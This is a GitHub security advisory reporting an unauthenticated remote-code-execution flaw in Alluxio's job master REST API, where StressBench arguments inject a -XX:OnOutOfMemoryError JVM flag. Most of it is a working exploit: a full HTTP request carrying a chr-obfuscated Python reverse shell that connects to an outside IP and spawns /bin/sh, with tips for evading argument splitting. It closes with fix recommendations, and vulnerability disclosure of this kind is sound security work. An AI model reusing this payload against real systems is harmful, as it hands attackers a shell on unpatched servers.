[SECURITY] Unauthenticated job REST StressBench JVM-flag RCE (CVE request)

Author: baozongwiCreated Sep 11, 2026Updated Sep 11, 2026

Unauthenticated RCE: POST /api/v1/master/job/run (no cookie) → job worker bin/alluxio runClass copies -XX:OnOutOfMemoryError= into JVM flags → reverse shell. Please request a CVE if you accept this.

Code

java

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.PROPERTY, property = "@type")
public interface JobConfig extends Serializable {

java

@POST
@Path(ServiceConstants.RUN)
@Consumes(MediaType.APPLICATION_JSON)
public Response run(final JobConfig jobConfig) {
    return RestUtils.call(() -> mJobMaster.run(jobConfig), Configuration.global());
}

bash

-D* | -X* | -agentlib* | -javaagent*)
    ALLUXIO_SHELL_JAVA_OPTS+=" ${arg}" ;;
...
"${JAVA}" ... ${ALLUXIO_SHELL_JAVA_OPTS} ${CLASS} ...

StressMasterBench.prepare(): new FileSystem[mClients]. --clients 268435456 + -Xmx32m → OOM → HotSpot /bin/sh -c the OnOutOfMemoryError string. bin/alluxio splits on spaces, so arguments go in as ${IFS}. Do not put ; in the string (HotSpot splits commands on ;).

Reproduction

Job master :20002, at least one job worker. Attacker listens on 154.36.181.12:8082.

POST /api/v1/master/job/run HTTP/1.1
Host: 127.0.0.1:20002
Accept: */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Connection: close
Content-Type: application/json
Cache-Control: no-cache

{"@type":"alluxio.stress.job.StressBenchConfig","className":"alluxio.stress.cli.StressMasterBench","args":["-Xmx32m","-XX:OnOutOfMemoryError=/usr/bin/python3${IFS}-c${IFS}'exec(\"s=__import__(chr(115)+chr(111)+chr(99)+chr(107)+chr(101)+chr(116))\\no=__import__(chr(111)+chr(115))\\np=__import__(chr(112)+chr(116)+chr(121))\\nc=s.socket()\\nc.connect((chr(49)+chr(53)+chr(52)+chr(46)+chr(51)+chr(54)+chr(46)+chr(49)+chr(56)+chr(49)+chr(46)+chr(49)+chr(50),8082))\\no.dup2(c.fileno(),0)\\no.dup2(c.fileno(),1)\\no.dup2(c.fileno(),2)\\np.spawn(chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(115)+chr(104))\")'","--operation","CreateFile","--clients","268435456"],"startDelayMs":0,"clusterLimit":1}

200 + job id.

Shell I/O is on the listener. Job stays RUNNING while the shell is open.

Fix

Authenticate /api/v1/master/job/*.
Do not copy job args matching -X* / -D* / -javaagent* into ALLUXIO_SHELL_JAVA_OPTS.
Reject -X* / -XX:* in StressBenchConfig.args on the master.

Zhongqi Bao / [email protected] / @baozongwi

Source: Alluxio/alluxio

View original on GitHub View discussion on GitHub